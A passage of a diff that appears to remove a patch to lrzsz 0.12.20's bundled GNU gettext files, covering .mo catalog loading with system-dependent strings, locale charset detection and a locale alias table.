- }
--
- read_ptr += nb;
- to_read -= nb;
- }
-@@ -144,47 +1005,378 @@
-
- /* Using the magic number we can test whether it really is a message
- catalog file. */
-- if (data->magic != _MAGIC && data->magic != _MAGIC_SWAPPED)
-+ if (__builtin_expect (data->magic != _MAGIC && data->magic != _MAGIC_SWAPPED,
-+ 0))
- {
- /* The magic number is wrong: not a message catalog file. */
--#if (defined HAVE_MMAP && defined HAVE_MUNMAP && !defined DISALLOW_MMAP) \
-- || defined _LIBC
-+#ifdef HAVE_MMAP
- if (use_mmap)
-- munmap ((caddr_t) data, st.st_size);
-+ munmap ((caddr_t) data, size);
- else
- #endif
- free (data);
- return;
- }
-
-- domain_file->data
-- = (struct loaded_domain *) malloc (sizeof (struct loaded_domain));
-- if (domain_file->data == NULL)
-+ domain = (struct loaded_domain *) malloc (sizeof (struct loaded_domain));
-+ if (domain == NULL)
- return;
-+ domain_file->data = domain;
-
-- domain = (struct loaded_domain *) domain_file->data;
- domain->data = (char *) data;
-+ domain->use_mmap = use_mmap;
-+ domain->mmap_size = size;
- domain->must_swap = data->magic != _MAGIC;
-+ domain->malloced = NULL;
-
- /* Fill in the information about the available tables. */
-- switch (W (domain->must_swap, data->revision))
-+ revision = W (domain->must_swap, data->revision);
-+ /* We support only the major revisions 0 and 1. */
-+ switch (revision >> 16)
- {
- case 0:
-+ case 1:
- domain->nstrings = W (domain->must_swap, data->nstrings);
-- domain->orig_tab = (struct string_desc *)
-+ domain->orig_tab = (const struct string_desc *)
- ((char *) data + W (domain->must_swap, data->orig_tab_offset));
-- domain->trans_tab = (struct string_desc *)
-+ domain->trans_tab = (const struct string_desc *)
- ((char *) data + W (domain->must_swap, data->trans_tab_offset));
- domain->hash_size = W (domain->must_swap, data->hash_tab_size);
-- domain->hash_tab = (nls_uint32 *)
-- ((char *) data + W (domain->must_swap, data->hash_tab_offset));
-+ domain->hash_tab =
-+ (domain->hash_size > 2
-+ ? (const nls_uint32 *)
-+ ((char *) data + W (domain->must_swap, data->hash_tab_offset))
-+ : NULL);
-+ domain->must_swap_hash_tab = domain->must_swap;
-+
-+ /* Now dispatch on the minor revision. */
-+ switch (revision & 0xffff)
-+ {
-+ case 0:
-+ domain->n_sysdep_strings = 0;
-+ domain->orig_sysdep_tab = NULL;
-+ domain->trans_sysdep_tab = NULL;
-+ break;
-+ case 1:
-+ default:
-+ {
-+ nls_uint32 n_sysdep_strings;
-+
-+ if (domain->hash_tab == NULL)
-+ /* This is invalid. These minor revisions need a hash table. */
-+ goto invalid;
-+
-+ n_sysdep_strings =
-+ W (domain->must_swap, data->n_sysdep_strings);
-+ if (n_sysdep_strings > 0)
-+ {
-+ nls_uint32 n_sysdep_segments;
-+ const struct sysdep_segment *sysdep_segments;
-+ const char **sysdep_segment_values;
-+ const nls_uint32 *orig_sysdep_tab;
-+ const nls_uint32 *trans_sysdep_tab;
-+ nls_uint32 n_inmem_sysdep_strings;
-+ size_t memneed;
-+ char *mem;
-+ struct sysdep_string_desc *inmem_orig_sysdep_tab;
-+ struct sysdep_string_desc *inmem_trans_sysdep_tab;
-+ nls_uint32 *inmem_hash_tab;
-+ unsigned int i, j;
-+
-+ /* Get the values of the system dependent segments. */
-+ n_sysdep_segments =
-+ W (domain->must_swap, data->n_sysdep_segments);
-+ sysdep_segments = (const struct sysdep_segment *)
-+ ((char *) data
-+ + W (domain->must_swap, data->sysdep_segments_offset));
-+ sysdep_segment_values =
-+ alloca (n_sysdep_segments * sizeof (const char *));
-+ for (i = 0; i < n_sysdep_segments; i++)
-+ {
-+ const char *name =
-+ (char *) data
-+ + W (domain->must_swap, sysdep_segments[i].offset);
-+ nls_uint32 namelen =
-+ W (domain->must_swap, sysdep_segments[i].length);
-+
-+ if (!(namelen > 0 && name[namelen - 1] == '\0'))
-+ {
-+ freea (sysdep_segment_values);
-+ goto invalid;
-+ }
-+
-+ sysdep_segment_values[i] = get_sysdep_segment_value (name);
-+ }
-+
-+ orig_sysdep_tab = (const nls_uint32 *)
-+ ((char *) data
-+ + W (domain->must_swap, data->orig_sysdep_tab_offset));
-+ trans_sysdep_tab = (const nls_uint32 *)
-+ ((char *) data
-+ + W (domain->must_swap, data->trans_sysdep_tab_offset));
-+
-+ /* Compute the amount of additional memory needed for the
-+ system dependent strings and the augmented hash table.
-+ At the same time, also drop string pairs which refer to
-+ an undefined system dependent segment. */
-+ n_inmem_sysdep_strings = 0;
-+ memneed = domain->hash_size * sizeof (nls_uint32);
-+ for (i = 0; i < n_sysdep_strings; i++)
-+ {
-+ int valid = 1;
-+ size_t needs[2];
-+
-+ for (j = 0; j < 2; j++)
-+ {
-+ const struct sysdep_string *sysdep_string =
-+ (const struct sysdep_string *)
-+ ((char *) data
-+ + W (domain->must_swap,
-+ j == 0
-+ ? orig_sysdep_tab[i]
-+ : trans_sysdep_tab[i]));
-+ size_t need = 0;
-+ const struct segment_pair *p = sysdep_string->segments;
-+
-+ if (W (domain->must_swap, p->sysdepref) != SEGMENTS_END)
-+ for (p = sysdep_string->segments;; p++)
-+ {
-+ nls_uint32 sysdepref;
-+
-+ need += W (domain->must_swap, p->segsize);
-+
-+ sysdepref = W (domain->must_swap, p->sysdepref);
-+ if (sysdepref == SEGMENTS_END)
-+ break;
-+
-+ if (sysdepref >= n_sysdep_segments)
-+ {
-+ /* Invalid. */
-+ freea (sysdep_segment_values);
-+ goto invalid;
-+ }
-+
-+ if (sysdep_segment_values[sysdepref] == NULL)
-+ {
-+ /* This particular string pair is invalid. */
-+ valid = 0;
-+ break;
-+ }
-+
-+ need += strlen (sysdep_segment_values[sysdepref]);
-+ }
-+
-+ needs[j] = need;
-+ if (!valid)
-+ break;
-+ }
-+
-+ if (valid)
-+ {
-+ n_inmem_sysdep_strings++;
-+ memneed += needs[0] + needs[1];
-+ }
-+ }
-+ memneed += 2 * n_inmem_sysdep_strings
-+ * sizeof (struct sysdep_string_desc);
-+
-+ if (n_inmem_sysdep_strings > 0)
-+ {
-+ unsigned int k;
-+
-+ /* Allocate additional memory. */
-+ mem = (char *) malloc (memneed);
-+ if (mem == NULL)
-+ goto invalid;
-+
-+ domain->malloced = mem;
-+ inmem_orig_sysdep_tab = (struct sysdep_string_desc *) mem;
-+ mem += n_inmem_sysdep_strings
-+ * sizeof (struct sysdep_string_desc);
-+ inmem_trans_sysdep_tab = (struct sysdep_string_desc *) mem;
-+ mem += n_inmem_sysdep_strings
-+ * sizeof (struct sysdep_string_desc);
-+ inmem_hash_tab = (nls_uint32 *) mem;
-+ mem += domain->hash_size * sizeof (nls_uint32);
-+
-+ /* Compute the system dependent strings. */
-+ k = 0;
-+ for (i = 0; i < n_sysdep_strings; i++)
-+ {
-+ int valid = 1;
-+
-+ for (j = 0; j < 2; j++)
-+ {
-+ const struct sysdep_string *sysdep_string =
-+ (const struct sysdep_string *)
-+ ((char *) data
-+ + W (domain->must_swap,
-+ j == 0
-+ ? orig_sysdep_tab[i]
-+ : trans_sysdep_tab[i]));
-+ const struct segment_pair *p =
-+ sysdep_string->segments;
-+
-+ if (W (domain->must_swap, p->sysdepref)
-+ != SEGMENTS_END)
-+ for (p = sysdep_string->segments;; p++)
-+ {
-+ nls_uint32 sysdepref;
-+
-+ sysdepref =
-+ W (domain->must_swap, p->sysdepref);
-+ if (sysdepref == SEGMENTS_END)
-+ break;
-+
-+ if (sysdep_segment_values[sysdepref] == NULL)
-+ {
-+ /* This particular string pair is
-+ invalid. */
-+ valid = 0;
-+ break;
-+ }
-+ }
-+
-+ if (!valid)
-+ break;
-+ }
-+
-+ if (valid)
-+ {
-+ for (j = 0; j < 2; j++)
-+ {
-+ const struct sysdep_string *sysdep_string =
-+ (const struct sysdep_string *)
-+ ((char *) data
-+ + W (domain->must_swap,
-+ j == 0
-+ ? orig_sysdep_tab[i]
-+ : trans_sysdep_tab[i]));
-+ const char *static_segments =
-+ (char *) data
-+ + W (domain->must_swap, sysdep_string->offset);
-+ const struct segment_pair *p =
-+ sysdep_string->segments;
-+
-+ /* Concatenate the segments, and fill
-+ inmem_orig_sysdep_tab[k] (for j == 0) and
-+ inmem_trans_sysdep_tab[k] (for j == 1). */
-+
-+ struct sysdep_string_desc *inmem_tab_entry =
-+ (j == 0
-+ ? inmem_orig_sysdep_tab
-+ : inmem_trans_sysdep_tab)
-+ + k;
-+
-+ if (W (domain->must_swap, p->sysdepref)
-+ == SEGMENTS_END)
-+ {
-+ /* Only one static segment. */
-+ inmem_tab_entry->length =
-+ W (domain->must_swap, p->segsize);
-+ inmem_tab_entry->pointer = static_segments;
-+ }
-+ else
-+ {
-+ inmem_tab_entry->pointer = mem;
-+
-+ for (p = sysdep_string->segments;; p++)
-+ {
-+ nls_uint32 segsize =
-+ W (domain->must_swap, p->segsize);
-+ nls_uint32 sysdepref =
-+ W (domain->must_swap, p->sysdepref);
-+ size_t n;
-+
-+ if (segsize > 0)
-+ {
-+ memcpy (mem, static_segments, segsize);
-+ mem += segsize;
-+ static_segments += segsize;
-+ }
-+
-+ if (sysdepref == SEGMENTS_END)
-+ break;
-+
-+ n = strlen (sysdep_segment_values[sysdepref]);
-+ memcpy (mem, sysdep_segment_values[sysdepref], n);
-+ mem += n;
-+ }
-+
-+ inmem_tab_entry->length =
-+ mem - inmem_tab_entry->pointer;
-+ }
-+ }
-+
-+ k++;
-+ }
-+ }
-+ if (k != n_inmem_sysdep_strings)
-+ abort ();
-+
-+ /* Compute the augmented hash table. */
-+ for (i = 0; i < domain->hash_size; i++)
-+ inmem_hash_tab[i] =
-+ W (domain->must_swap_hash_tab, domain->hash_tab[i]);
-+ for (i = 0; i < n_inmem_sysdep_strings; i++)
-+ {
-+ const char *msgid = inmem_orig_sysdep_tab[i].pointer;
-+ nls_uint32 hash_val = hash_string (msgid);
-+ nls_uint32 idx = hash_val % domain->hash_size;
-+ nls_uint32 incr =
-+ 1 + (hash_val % (domain->hash_size - 2));
-+
-+ for (;;)
-+ {
-+ if (inmem_hash_tab[idx] == 0)
-+ {
-+ /* Hash table entry is empty. Use it. */
-+ inmem_hash_tab[idx] = 1 + domain->nstrings + i;
-+ break;
-+ }
-+
-+ if (idx >= domain->hash_size - incr)
-+ idx -= domain->hash_size - incr;
-+ else
-+ idx += incr;
-+ }
-+ }
-+
-+ domain->n_sysdep_strings = n_inmem_sysdep_strings;
-+ domain->orig_sysdep_tab = inmem_orig_sysdep_tab;
-+ domain->trans_sysdep_tab = inmem_trans_sysdep_tab;
-+
-+ domain->hash_tab = inmem_hash_tab;
-+ domain->must_swap_hash_tab = 0;
-+ }
-+ else
-+ {
-+ domain->n_sysdep_strings = 0;
-+ domain->orig_sysdep_tab = NULL;
-+ domain->trans_sysdep_tab = NULL;
-+ }
-+
-+ freea (sysdep_segment_values);
-+ }
-+ else
-+ {
-+ domain->n_sysdep_strings = 0;
-+ domain->orig_sysdep_tab = NULL;
-+ domain->trans_sysdep_tab = NULL;
-+ }
-+ }
-+ break;
-+ }
- break;
- default:
-- /* This is an illegal revision. */
--#if (defined HAVE_MMAP && defined HAVE_MUNMAP && !defined DISALLOW_MMAP) \
-- || defined _LIBC
-+ /* This is an invalid revision. */
-+ invalid:
-+ /* This is an invalid .mo file. */
-+ if (domain->malloced)
-+ free (domain->malloced);
-+#ifdef HAVE_MMAP
- if (use_mmap)
-- munmap ((caddr_t) data, st.st_size);
-+ munmap ((caddr_t) data, size);
- else
- #endif
- free (data);
-@@ -193,7 +1385,36 @@
- return;
- }
-
-- /* Show that one domain is changed. This might make some cached
-- translations invalid. */
-- ++_nl_msg_cat_cntr;
-+ /* Now initialize the character set converter from the character set
-+ the file is encoded with (found in the header entry) to the domain's
-+ specified character set or the locale's character set. */
-+ nullentry = _nl_init_domain_conv (domain_file, domain, domainbinding);
-+
-+ /* Also look for a plural specification. */
-+ EXTRACT_PLURAL_EXPRESSION (nullentry, &domain->plural, &domain->nplurals);
- }
-+
-+
-+#ifdef _LIBC
-+void
-+internal_function
-+_nl_unload_domain (struct loaded_domain *domain)
-+{
-+ if (domain->plural != &__gettext_germanic_plural)
-+ __gettext_free_exp (domain->plural);
-+
-+ _nl_free_domain_conv (domain);
-+
-+ if (domain->malloced)
-+ free (domain->malloced);
-+
-+# ifdef _POSIX_MAPPED_FILES
-+ if (domain->use_mmap)
-+ munmap ((caddr_t) domain->data, domain->mmap_size);
-+ else
-+# endif /* _POSIX_MAPPED_FILES */
-+ free ((void *) domain->data);
-+
-+ free (domain);
-+}
-+#endif
---- lrzsz-0.12.20.safe/intl/localcharset.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/localcharset.c 2004-09-12 14:40:34.478729392 -0400
-@@ -0,0 +1,398 @@
-+/* Determine a canonical name for the current locale's character encoding.
-+
-+ Copyright (C) 2000-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* Written by Bruno Haible <bruno@clisp.org>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+/* Specification. */
-+#include "localcharset.h"
-+
-+#if HAVE_STDDEF_H
-+# include <stddef.h>
-+#endif
-+
-+#include <stdio.h>
-+#if HAVE_STRING_H
-+# include <string.h>
-+#else
-+# include <strings.h>
-+#endif
-+#if HAVE_STDLIB_H
-+# include <stdlib.h>
-+#endif
-+
-+#if defined _WIN32 || defined __WIN32__
-+# undef WIN32 /* avoid warning on mingw32 */
-+# define WIN32
-+#endif
-+
-+#if defined __EMX__
-+/* Assume EMX program runs on OS/2, even if compiled under DOS. */
-+# define OS2
-+#endif
-+
-+#if !defined WIN32
-+# if HAVE_LANGINFO_CODESET
-+# include <langinfo.h>
-+# else
-+# if HAVE_SETLOCALE
-+# include <locale.h>
-+# endif
-+# endif
-+#elif defined WIN32
-+# define WIN32_LEAN_AND_MEAN
-+# include <windows.h>
-+#endif
-+#if defined OS2
-+# define INCL_DOS
-+# include <os2.h>
-+#endif
-+
-+#if ENABLE_RELOCATABLE
-+# include "relocatable.h"
-+#else
-+# define relocate(pathname) (pathname)
-+#endif
-+
-+#if defined _WIN32 || defined __WIN32__ || defined __EMX__ || defined __DJGPP__
-+ /* Win32, OS/2, DOS */
-+# define ISSLASH(C) ((C) == '/' || (C) == '\\')
-+#endif
-+
-+#ifndef DIRECTORY_SEPARATOR
-+# define DIRECTORY_SEPARATOR '/'
-+#endif
-+
-+#ifndef ISSLASH
-+# define ISSLASH(C) ((C) == DIRECTORY_SEPARATOR)
-+#endif
-+
-+#if HAVE_DECL_GETC_UNLOCKED
-+# undef getc
-+# define getc getc_unlocked
-+#endif
-+
-+/* The following static variable is declared 'volatile' to avoid a
-+ possible multithread problem in the function get_charset_aliases. If we
-+ are running in a threaded environment, and if two threads initialize
-+ 'charset_aliases' simultaneously, both will produce the same value,
-+ and everything will be ok if the two assignments to 'charset_aliases'
-+ are atomic. But I don't know what will happen if the two assignments mix. */
-+#if __STDC__ != 1
-+# define volatile /* empty */
-+#endif
-+/* Pointer to the contents of the charset.alias file, if it has already been
-+ read, else NULL. Its format is:
-+ ALIAS_1 '\0' CANONICAL_1 '\0' ... ALIAS_n '\0' CANONICAL_n '\0' '\0' */
-+static const char * volatile charset_aliases;
-+
-+/* Return a pointer to the contents of the charset.alias file. */
-+static const char *
-+get_charset_aliases ()
-+{
-+ const char *cp;
-+
-+ cp = charset_aliases;
-+ if (cp == NULL)
-+ {
-+#if !(defined VMS || defined WIN32)
-+ FILE *fp;
-+ const char *dir = relocate (LIBDIR);
-+ const char *base = "charset.alias";
-+ char *file_name;
-+
-+ /* Concatenate dir and base into freshly allocated file_name. */
-+ {
-+ size_t dir_len = strlen (dir);
-+ size_t base_len = strlen (base);
-+ int add_slash = (dir_len > 0 && !ISSLASH (dir[dir_len - 1]));
-+ file_name = (char *) malloc (dir_len + add_slash + base_len + 1);
-+ if (file_name != NULL)
-+ {
-+ memcpy (file_name, dir, dir_len);
-+ if (add_slash)
-+ file_name[dir_len] = DIRECTORY_SEPARATOR;
-+ memcpy (file_name + dir_len + add_slash, base, base_len + 1);
-+ }
-+ }
-+
-+ if (file_name == NULL || (fp = fopen (file_name, "r")) == NULL)
-+ /* Out of memory or file not found, treat it as empty. */
-+ cp = "";
-+ else
-+ {
-+ /* Parse the file's contents. */
-+ int c;
-+ char buf1[50+1];
-+ char buf2[50+1];
-+ char *res_ptr = NULL;
-+ size_t res_size = 0;
-+ size_t l1, l2;
-+
-+ for (;;)
-+ {
-+ c = getc (fp);
-+ if (c == EOF)
-+ break;
-+ if (c == '\n' || c == ' ' || c == '\t')
-+ continue;
-+ if (c == '#')
-+ {
-+ /* Skip comment, to end of line. */
-+ do
-+ c = getc (fp);
-+ while (!(c == EOF || c == '\n'));
-+ if (c == EOF)
-+ break;
-+ continue;
-+ }
-+ ungetc (c, fp);
-+ if (fscanf (fp, "%50s %50s", buf1, buf2) < 2)
-+ break;
-+ l1 = strlen (buf1);
-+ l2 = strlen (buf2);
-+ if (res_size == 0)
-+ {
-+ res_size = l1 + 1 + l2 + 1;
-+ res_ptr = (char *) malloc (res_size + 1);
-+ }
-+ else
-+ {
-+ res_size += l1 + 1 + l2 + 1;
-+ res_ptr = (char *) realloc (res_ptr, res_size + 1);
-+ }
-+ if (res_ptr == NULL)
-+ {
-+ /* Out of memory. */
-+ res_size = 0;
-+ break;
-+ }
-+ strcpy (res_ptr + res_size - (l2 + 1) - (l1 + 1), buf1);
-+ strcpy (res_ptr + res_size - (l2 + 1), buf2);
-+ }
-+ fclose (fp);
-+ if (res_size == 0)
-+ cp = "";
-+ else
-+ {
-+ *(res_ptr + res_size) = '\0';
-+ cp = res_ptr;
-+ }
-+ }
-+
-+ if (file_name != NULL)
-+ free (file_name);
-+
-+#else
-+
-+# if defined VMS
-+ /* To avoid the troubles of an extra file charset.alias_vms in the
-+ sources of many GNU packages, simply inline the aliases here. */
-+ /* The list of encodings is taken from the OpenVMS 7.3-1 documentation
-+ "Compaq C Run-Time Library Reference Manual for OpenVMS systems"
-+ section 10.7 "Handling Different Character Sets". */
-+ cp = "ISO8859-1" "\0" "ISO-8859-1" "\0"
-+ "ISO8859-2" "\0" "ISO-8859-2" "\0"
-+ "ISO8859-5" "\0" "ISO-8859-5" "\0"
-+ "ISO8859-7" "\0" "ISO-8859-7" "\0"
-+ "ISO8859-8" "\0" "ISO-8859-8" "\0"
-+ "ISO8859-9" "\0" "ISO-8859-9" "\0"
-+ /* Japanese */
-+ "eucJP" "\0" "EUC-JP" "\0"
-+ "SJIS" "\0" "SHIFT_JIS" "\0"
-+ "DECKANJI" "\0" "DEC-KANJI" "\0"
-+ "SDECKANJI" "\0" "EUC-JP" "\0"
-+ /* Chinese */
-+ "eucTW" "\0" "EUC-TW" "\0"
-+ "DECHANYU" "\0" "DEC-HANYU" "\0"
-+ "DECHANZI" "\0" "GB2312" "\0"
-+ /* Korean */
-+ "DECKOREAN" "\0" "EUC-KR" "\0";
-+# endif
-+
-+# if defined WIN32
-+ /* To avoid the troubles of installing a separate file in the same
-+ directory as the DLL and of retrieving the DLL's directory at
-+ runtime, simply inline the aliases here. */
-+
-+ cp = "CP936" "\0" "GBK" "\0"
-+ "CP1361" "\0" "JOHAB" "\0"
-+ "CP20127" "\0" "ASCII" "\0"
-+ "CP20866" "\0" "KOI8-R" "\0"
-+ "CP21866" "\0" "KOI8-RU" "\0"
-+ "CP28591" "\0" "ISO-8859-1" "\0"
-+ "CP28592" "\0" "ISO-8859-2" "\0"
-+ "CP28593" "\0" "ISO-8859-3" "\0"
-+ "CP28594" "\0" "ISO-8859-4" "\0"
-+ "CP28595" "\0" "ISO-8859-5" "\0"
-+ "CP28596" "\0" "ISO-8859-6" "\0"
-+ "CP28597" "\0" "ISO-8859-7" "\0"
-+ "CP28598" "\0" "ISO-8859-8" "\0"
-+ "CP28599" "\0" "ISO-8859-9" "\0"
-+ "CP28605" "\0" "ISO-8859-15" "\0";
-+# endif
-+#endif
-+
-+ charset_aliases = cp;
-+ }
-+
-+ return cp;
-+}
-+
-+/* Determine the current locale's character encoding, and canonicalize it
-+ into one of the canonical names listed in config.charset.
-+ The result must not be freed; it is statically allocated.
-+ If the canonical name cannot be determined, the result is a non-canonical
-+ name. */
-+
-+#ifdef STATIC
-+STATIC
-+#endif
-+const char *
-+locale_charset ()
-+{
-+ const char *codeset;
-+ const char *aliases;
-+
-+#if !(defined WIN32 || defined OS2)
-+
-+# if HAVE_LANGINFO_CODESET
-+
-+ /* Most systems support nl_langinfo (CODESET) nowadays. */
-+ codeset = nl_langinfo (CODESET);
-+
-+# else
-+
-+ /* On old systems which lack it, use setlocale or getenv. */
-+ const char *locale = NULL;
-+
-+ /* But most old systems don't have a complete set of locales. Some
-+ (like SunOS 4 or DJGPP) have only the C locale. Therefore we don't
-+ use setlocale here; it would return "C" when it doesn't support the
-+ locale name the user has set. */
-+# if HAVE_SETLOCALE && 0
-+ locale = setlocale (LC_CTYPE, NULL);
-+# endif
-+ if (locale == NULL || locale[0] == '\0')
-+ {
-+ locale = getenv ("LC_ALL");
-+ if (locale == NULL || locale[0] == '\0')
-+ {
-+ locale = getenv ("LC_CTYPE");
-+ if (locale == NULL || locale[0] == '\0')
-+ locale = getenv ("LANG");
-+ }
-+ }
-+
-+ /* On some old systems, one used to set locale = "iso8859_1". On others,
-+ you set it to "language_COUNTRY.charset". In any case, we resolve it
-+ through the charset.alias file. */
-+ codeset = locale;
-+
-+# endif
-+
-+#elif defined WIN32
-+
-+ static char buf[2 + 10 + 1];
-+
-+ /* Woe32 has a function returning the locale's codepage as a number. */
-+ sprintf (buf, "CP%u", GetACP ());
-+ codeset = buf;
-+
-+#elif defined OS2
-+
-+ const char *locale;
-+ static char buf[2 + 10 + 1];
-+ ULONG cp[3];
-+ ULONG cplen;
-+
-+ /* Allow user to override the codeset, as set in the operating system,
-+ with standard language environment variables. */
-+ locale = getenv ("LC_ALL");
-+ if (locale == NULL || locale[0] == '\0')
-+ {
-+ locale = getenv ("LC_CTYPE");
-+ if (locale == NULL || locale[0] == '\0')
-+ locale = getenv ("LANG");
-+ }
-+ if (locale != NULL && locale[0] != '\0')
-+ {
-+ /* If the locale name contains an encoding after the dot, return it. */
-+ const char *dot = strchr (locale, '.');
-+
-+ if (dot != NULL)
-+ {
-+ const char *modifier;
-+
-+ dot++;
-+ /* Look for the possible @... trailer and remove it, if any. */
-+ modifier = strchr (dot, '@');
-+ if (modifier == NULL)
-+ return dot;
-+ if (modifier - dot < sizeof (buf))
-+ {
-+ memcpy (buf, dot, modifier - dot);
-+ buf [modifier - dot] = '\0';
-+ return buf;
-+ }
-+ }
-+
-+ /* Resolve through the charset.alias file. */
-+ codeset = locale;
-+ }
-+ else
-+ {
-+ /* OS/2 has a function returning the locale's codepage as a number. */
-+ if (DosQueryCp (sizeof (cp), cp, &cplen))
-+ codeset = "";
-+ else
-+ {
-+ sprintf (buf, "CP%u", cp[0]);
-+ codeset = buf;
-+ }
-+ }
-+
-+#endif
-+
-+ if (codeset == NULL)
-+ /* The canonical name cannot be determined. */
-+ codeset = "";
-+
-+ /* Resolve alias. */
-+ for (aliases = get_charset_aliases ();
-+ *aliases != '\0';
-+ aliases += strlen (aliases) + 1, aliases += strlen (aliases) + 1)
-+ if (strcmp (codeset, aliases) == 0
-+ || (aliases[0] == '*' && aliases[1] == '\0'))
-+ {
-+ codeset = aliases + strlen (aliases) + 1;
-+ break;
-+ }
-+
-+ /* Don't return an empty string. GNU libc and GNU libiconv interpret
-+ the empty string as denoting "the locale's character encoding",
-+ thus GNU libiconv would call this function a second time. */
-+ if (codeset[0] == '\0')
-+ codeset = "ASCII";
-+
-+ return codeset;
-+}
---- lrzsz-0.12.20.safe/intl/localcharset.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/localcharset.h 2004-09-12 14:40:34.483728632 -0400
-@@ -0,0 +1,42 @@
-+/* Determine a canonical name for the current locale's character encoding.
-+ Copyright (C) 2000-2003 Free Software Foundation, Inc.
-+ This file is part of the GNU CHARSET Library.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _LOCALCHARSET_H
-+#define _LOCALCHARSET_H
-+
-+
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-+
-+
-+/* Determine the current locale's character encoding, and canonicalize it
-+ into one of the canonical names listed in config.charset.
-+ The result must not be freed; it is statically allocated.
-+ If the canonical name cannot be determined, the result is a non-canonical
-+ name. */
-+extern const char * locale_charset (void);
-+
-+
-+#ifdef __cplusplus
-+}
-+#endif
-+
-+
-+#endif /* _LOCALCHARSET_H */
---- lrzsz-0.12.20.safe/intl/locale.alias 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/locale.alias 2004-09-12 14:40:34.499726200 -0400
-@@ -0,0 +1,78 @@
-+# Locale name alias data base.
-+# Copyright (C) 1996-2001,2003 Free Software Foundation, Inc.
-+#
-+# This program is free software; you can redistribute it and/or modify it
-+# under the terms of the GNU Library General Public License as published
-+# by the Free Software Foundation; either version 2, or (at your option)
-+# any later version.
-+#
-+# This program is distributed in the hope that it will be useful,
-+# but WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# Library General Public License for more details.
-+#
-+# You should have received a copy of the GNU Library General Public
-+# License along with this program; if not, write to the Free Software
-+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+# USA.
-+
-+# The format of this file is the same as for the corresponding file of
-+# the X Window System, which normally can be found in
-+# /usr/lib/X11/locale/locale.alias
-+# A single line contains two fields: an alias and a substitution value.
-+# All entries are case independent.
-+
-+# Note: This file is far from being complete. If you have a value for
-+# your own site which you think might be useful for others too, share
-+# it with the rest of us. Send it using the `glibcbug' script to
-+# bugs@gnu.org.
-+
-+# Packages using this file:
-+
-+bokmal nb_NO.ISO-8859-1
-+bokml nb_NO.ISO-8859-1
-+catalan ca_ES.ISO-8859-1
-+croatian hr_HR.ISO-8859-2
-+czech cs_CZ.ISO-8859-2
-+danish da_DK.ISO-8859-1
-+dansk da_DK.ISO-8859-1
-+deutsch de_DE.ISO-8859-1
-+dutch nl_NL.ISO-8859-1
-+eesti et_EE.ISO-8859-1
-+estonian et_EE.ISO-8859-1
-+finnish fi_FI.ISO-8859-1
-+franais fr_FR.ISO-8859-1
-+french fr_FR.ISO-8859-1
-+galego gl_ES.ISO-8859-1
-+galician gl_ES.ISO-8859-1
-+german de_DE.ISO-8859-1
-+greek el_GR.ISO-8859-7
-+hebrew he_IL.ISO-8859-8
-+hrvatski hr_HR.ISO-8859-2
-+hungarian hu_HU.ISO-8859-2
-+icelandic is_IS.ISO-8859-1
-+italian it_IT.ISO-8859-1
-+japanese ja_JP.eucJP
-+japanese.euc ja_JP.eucJP
-+ja_JP ja_JP.eucJP
-+ja_JP.ujis ja_JP.eucJP
-+japanese.sjis ja_JP.SJIS
-+korean ko_KR.eucKR
-+korean.euc ko_KR.eucKR
-+ko_KR ko_KR.eucKR
-+lithuanian lt_LT.ISO-8859-13
-+no_NO nb_NO.ISO-8859-1
-+no_NO.ISO-8859-1 nb_NO.ISO-8859-1
-+norwegian nb_NO.ISO-8859-1
-+nynorsk nn_NO.ISO-8859-1
-+polish pl_PL.ISO-8859-2
-+portuguese pt_PT.ISO-8859-1
-+romanian ro_RO.ISO-8859-2
-+russian ru_RU.ISO-8859-5
-+slovak sk_SK.ISO-8859-2
-+slovene sl_SI.ISO-8859-2
-+slovenian sl_SI.ISO-8859-2
-+spanish es_ES.ISO-8859-1
-+swedish sv_SE.ISO-8859-1
-+thai th_TH.TIS-620
-+turkish tr_TR.ISO-8859-9
---- lrzsz-0.12.20.safe/intl/localealias.c 1998-04-26 09:22:37.000000000 -0400
-+++ lrzsz-0.12.20/intl/localealias.c 2004-09-12 14:40:34.505725288 -0400
-@@ -1,20 +1,27 @@
--/* Handle aliases for locale names
-- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-- Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
-+/* Handle aliases for locale names.
-+ Copyright (C) 1995-1999, 2000-2001, 2003 Free Software Foundation, Inc.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
